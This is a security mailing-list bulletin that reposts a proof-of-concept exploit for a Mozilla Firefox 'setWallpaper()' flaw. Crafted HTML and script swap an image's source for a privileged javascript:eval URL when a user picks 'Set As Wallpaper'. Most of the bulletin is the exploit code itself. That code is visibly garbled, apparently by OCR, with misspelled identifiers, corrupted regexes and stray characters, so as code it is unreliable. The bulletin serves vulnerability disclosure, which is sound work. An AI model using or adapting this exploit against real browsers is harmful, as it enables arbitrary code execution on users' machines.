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The SecuriTeam alerts list — Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

SUMMARY

An error in Mozilla Firefox when it handles Wallpapers could be exploited
by attackers to run arbitrary code on a vulnerable system by convincing a
user to use the "Set As Wallpaper" context menu item on a specially
crafted image.

DETAILS

/I Exploit by moz_bug _r a4

< ?xml version="1.0"?>

< html xmIns="http://www.w3.0rg/1999/xhtml">

< head>

< style>

IMG {

display: block;

width: 96px; height: 96px;

border: 1px solid #f00;

[*background-image: url("http://www.mozilla.org/images/mozilla—16.png");*/
background-image: url("data:image/png;base64,iVBORWOKGgoAAAANSUhEUg
AAABAAAAAQCAYAAAATB/I9hAAAABGIBTUEAAK/INWWKBEQAAABIORVhOU29md
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HdhcmUAQWRVYmUgSW1hz2VSZWFkeXHIZTWAAAHWSURBVHjaYvz//z8DJQAg");

}

< /style>

< /head>

< body>

< h3>Arbitrary code execution via setWallpaper()< /h3>
< pl’e>

1. Right click on the image.

2. Choose "Set As Wallpaper..." from the context menu.

A dialog that shows Components.stack will appear.
</pre>

< IMG id="{"/>

< script>
< |[CDATA[
var sx = havigator.productSub < 20050622 ? 2 : 4;

/I it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, "").replace(\Vg, \\);

var u = [ "http://www.mozilla.org/images/mozilla=16.png",
“javascript:eval(" + evalCode + ")"];

var sc = 0;

var i = document.getElementByld("i");
i.addEventListener("contextmenu", function(e) { sc = 0; }, false);
i.__defineGetter__ ("src", function() {

llreturn (confirm(++sc)) ? u[0] : u[1];

return (++sc < sx) ? u[0] : u[1];

D;

11>

< /script>

< /body>
< /html>
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ADDITIONAL INFORMATION

The information has been provided by moz_bug _r_a4.

The original article can be found at:
<http://www.frsirt.com/exploits/20050712.mfsa2005-55exploit.php>
http://www.frsirt.com/exploits/20050712.mfsa2005-55exploit.php

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list—unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe @securiteam.com

DISCLAIMER:

The information in this bulletin is provided "AS 1S" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequenti
loss of business profits or special damages.
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